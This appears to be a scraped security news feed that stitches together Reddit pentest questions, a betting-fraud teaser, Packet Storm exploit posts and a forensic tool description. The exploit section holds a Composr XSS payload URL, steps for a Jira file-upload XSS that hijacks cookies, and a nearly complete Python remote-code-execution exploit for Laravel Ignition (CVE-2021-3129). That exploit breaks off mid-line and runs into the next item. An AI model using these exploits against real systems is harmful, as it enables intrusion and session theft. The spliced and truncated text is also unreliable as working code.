Android Image to PenTest.
https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/

<!-- SC_OFF -->Hello all. Im new to the whole PenTest world. Im currently setting up my lab. Im following the Penetration Testing book by Georgia Weidman. I'm at the point of setting up Android targets, and I see that the images listed in the book are deprecated in Android SDK / AVD. Makes sense, those are old phones / images. What are some images that are worth emulating and targeting. I'm not too hip on the new phones and OS flavors. ​ Thanks <!-- SC_ON --> submitted by /u/BU5HMA5T3R (https://www.reddit.com/user/BU5HMA5T3R)
[link] (https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/) [comments] (https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/)

hacking: security in practice
What if you could deposit money into your Betting account for free?

https://external-preview.redd.it/jPihEGIUHOik5mFOrT6gBPt5pdhvjxLGhZUrMJbe30c.jpg?width=320&crop=smart&auto=webp&s=3d494859a63c372e201e44229987687b34905ec4 submitted by /u/CodePerfect
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
Wi-fi hacking success rate?

Hi folks,

I was wondering what your common success rate was with hacking WAPs. Like many before me, I have started flirting with the hacking trade a couple of years ago by watching hours of tutorials where stuff nearly always works very smoothly. As soon as you actually start trying, stuff becomes more frustrating and for as long as you remain a script kiddie, you are destined to fail in real life settings.

Recently, I have purchased 5 new and 10 older - used WAPs of various makes, but the common tools only seldom work against them in default settings and it takes some prolonged tweaking (will post some scenarios later on) to crack even some of the old ones (the new ones I seem not to have a chance at this time).

How's your success rates and what works best for you?

Cheers.

submitted by /u/gspnst
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Composr CMS 10.0.36 Cross Site Scripting

https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Composr CMS version 10.0.36 suffers from a cross site scripting vulnerability.

MD5 | 7557702ccddf1edf3bec1d21a0ca5250

Download
# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30150

Vulnerable Endpoint:
https://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<something:scriptalert("Hello")

Source:packetstormsecurity.com

Exploit Collector
Atlassian Jira Service Desk 4.9.1 Cross Site Scripting

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
Atlassian Jira Service Desk version 4.9.1 suffers from a cross site scripting vulnerability via a file upload.

MD5 | 840e289057a75abee3ebef734b12ec0a

Download
# Exploit Title: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
# Date: 07 Mar 2020
# Exploit Author: Captain_hook
# Vendor Homepage: https://www.atlassian.com/
# Version: < 4.10.0
# Tested on: All OS
# CVE: CVE-2020-14166

Summary:

The /servicedesk/customer/portals resource in Jira Service Desk Server and Data Center before version 4.10.0 allows remote attackers with project administrator privileges to inject arbitrary HTML or JavaScript names via an Cross Site Scripting (XSS) vulnerability by uploading a html file.

Steps to reproduce:

1- reach to this directory http://localhost:port/servicedesk/customer/portals?customize=true
2- There's a place where the banner can be uploaded when upload wizard popup you can see that the banner image restricted to image format, you can change that type easily
3- then you can upload HTML and javascript files and hijacking cookies or XSRF tokens.

Original report in bugcrowd:

https://bugcrowd.com/disclosures/61a50171-aa55-4126-b9f4-4e82b4b8c301/unrestricted-file-upload-stored-xss-for-token-hijacking
Original ticket in atlassian:

https://jira.atlassian.com/browse/JSDSERVER-6895?error=login_required&error_description=Login+required&state=28f8e754-fb05-4f5e-adda-79e252fe2c30

Source:packetstormsecurity.com

Exploit Collector
Ignition 2.5.1 Remote Code Execution

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Ignition versions prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel versions prior to 8.4.2.

MD5 | f2749663416c9f45e752a3213c8cb2d6

Download
#!/usr/bin/env python3.7
# Laravel debug mode Remote Code Execution (Ignition <=
# CVE-2021-3129
# Reference: https://www.ambionics.io/blog/laravel-debug-rce
# Author: cfreal
# Date: 2021-01-13
#
import base64
import re
import sys
from dataclasses import dataclass

import requests
@dataclass
class Exploit:
session: requests.Session
url: str
payload: bytes
log_path: str

def main(self):
if not self.log_path:
self.log_path = self.get_log_path()

try:
self.clear_logs()
self.put_payload()
self.convert_to_phar()
self.run_phar()
finally:
self.clear_logs()

def success(self, message, *args):
print('+ ' + message.format(*args))

def failure(self, message, *args):
print('- ' + message.format(*args))
exit()

def get_log_path(self):
r = self.run_wrapper('DOESNOTEXIST')
match = re.search(r'"file":"(\\/[^"]+?)\\/vendor\\/[^"]+?"', r.text)
if not match:
self.failure('Unable to find full path')
path = match.group(1).replace('\\/', '/')
path = f'{path}/storage/logs/laravel.log'
r = self.run_wrapper(path)
if r.status_code != 200:
self.failure('Log file does not exist: {}', path)

self.success('Log file: {}', path)
return path

def clear_logs(self):
wrapper = f'php://filter/read=consumed/resource={self.log_path}'
self.run_wrapper(wrapper)
self.success('Logs cleared')
return True

def get_write_filter(self):
filters = '|'.join((
'convert.quoted-printable-decode',
'convert.iconv.utf-16le.utf-8',
'convert.base64-decode'
))
return f'php://filter/write={filters}/resource={self.log_path}'

def run_wrapper(self, wrapper):
solution = "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution"
return self.session.post(
self.url + '/_ignition/execute-solution/',
json={
"solution": solution,
"parameters": {
"viewFile": wrapper,
"variableName": "doesnotexist"
}
}
)

def put_payload(self):
payload = self.generate_payload()
# This garanties the total log size is even
self.run_wrapper(payload)
self.run_wrapper('AA')

def generate_payload(self):
payload = self.payload
payload = base64.b64encode(payload).decode().rstrip('=')
payload = ''.join(c + '=00' for c in payload)
# The payload gets displayed twice: use an additional '=00' so that
# the second one does not have the same word alignment
return 'A' * 100 + payload + '=00'

def convert_to_phar(self):
wrapper = self.get_write_filter()
r = self.run_wrapper(wrapper)
if r.status_code == 200:
self.success('Successfully converted to PHAR !')
else:
self.failure('Convertion to PHAR failed (try again ?)')

def run_phar(self):
wrapper = f'phar://{self.log_path}/test.txt'
r = self.run_wrapper(wrapper)
if r.status_code != 500:
self.failure('Deserialisation failed ?!!')
self.success('Phar deserialized')
# We might be able to read the output of system, but if we can't, it's ok
match = re.search('^(.*?)\n\nSource: packetstormsecurity.com

Dark Reading: Attacks/Breaches
Cring Ransomware Used in Attacks on European Industrial Firms

Attackers exploited a vulnerability in Fortigate VPN servers to gain access to target networks, researchers report.

Columbo - A Computer Forensic Analysis Tool Used To Simplify And Identify Specific Patterns In Compromised Datasets
http://www.kitploit.com/2021/04/columbo-computer-forensic-analysis-tool.html

Columbo is a computer forensic (https://www.kitploit.com/search/label/Computer%20Forensic) analysis tool used to simplify and identify specific patterns in compromised datasets. It breaks down data to small sections and uses pattern recognition (https://www.kitploit.com/search/label/Recognition) and machine learning models to identify adversaries behaviour and their possible locations in compromised Windows platforms in a form of suggestions. Currently Columbo operates on Windows platform.
Dependencies & High Level Architecture
Columbo depends on volatility 3, autorunsc.exe and sigcheck.exe to extract data. Therefore users must download these dependent tools and place them under \Columbo\bin folder. Please Make sure you Read and Understand the license section (or License.txt file) before you download anything. The output (data) generated by these tools are automatically piped to Columbo's main engine. It breaks it down to small sections, pre-process it and applies machine learning models to classify the location of the compromised system, executable files and other behaviours.
Get started with Columbo
Videos Before you start Columbo Watch (https://www.youtube.com/watch?v=7rUCC1Wz4Gc) Memory forensics using Columbo Memory-forensics (https://www.youtube.com/watch?v=fOa62iVemAQ) Installation and Configuration Executable -Binary Download and install python 3.7 or 3.8 (not tested with 3.9). Make sure you add python.exe to the PATH during the installation. Download latest binary Columbo release, under Releases (https://github.com/visma-prodsec/columbo/releases) Download each of the following and place them under \Columbo\bin. Volatility 3 source code. Columbo does not support Volatility 2. Please make sure you also download Symbol (https://github.com/volatilityfoundation/volatility3#symbol-tables) table packs for windows, unzip it and put it under \Columbo\bin\volatility3-master\volatility\symbols. Download both autorunsc.exe and sigcheck.exe NB: To avoid errors, The directory structure must be like \Columbo\bin\volatility3-master , \Columbo\bin\autorunsc.exe and \Columbo\bin\sigcheck.exe Finally double click on "main.exe" under \Columbo. Source Code Download and install python 3.7 or 3.8 (not tested with 3.9). Make sure you add python.exe to the PATH during the installation. Download the latest release version of Columbo - source code. Double click on install-prerequisites.bat to install all the required packages. Download each of the following and place them unde \Columbo\bin. Volatility 3 source code. Columbo does not support Volatility 2. Please make sure you also download Symbol (https://github.com/volatilityfoundation/volatility3#symbol-tables) table packs for windows, unzip it and put it under \Columbo\bin\volatility3-master\volatility\symbols Download both autorunsc.exe and sigcheck.exe. NB: To avoid errors, The directory structure must be like this \Columbo\bin\volatility3-master , \Columbo\bin\autorunsc.exe and \Columbo\bin\sigcheck.exe Finally go to cmd and issue python.exe \Columbo\main.py
Columbo and Machine Learning
Columbo uses data preprocessing to organise the data and machine learning models to identify suspicious behaviours. Its outputs are either 1 (suspicious) or 0 (genuine) -in a form of suggestions purely to assist digital forensic examiners in their decision making. We have trained the models with different examples to maximise accuracy and used different approaches to minimise false positives. However,  false positives (false detection)  are still experienced and therefore we are committed to update the models  periodically.   
False Positive
It's not easy to reduce false positives (false detection), especially when we deal with machine learning. The output generated by machine learning models might be false positive depending on the quality of the data used to train the models. However, to assist forensic examiners in their investigation, Columbo generates percentage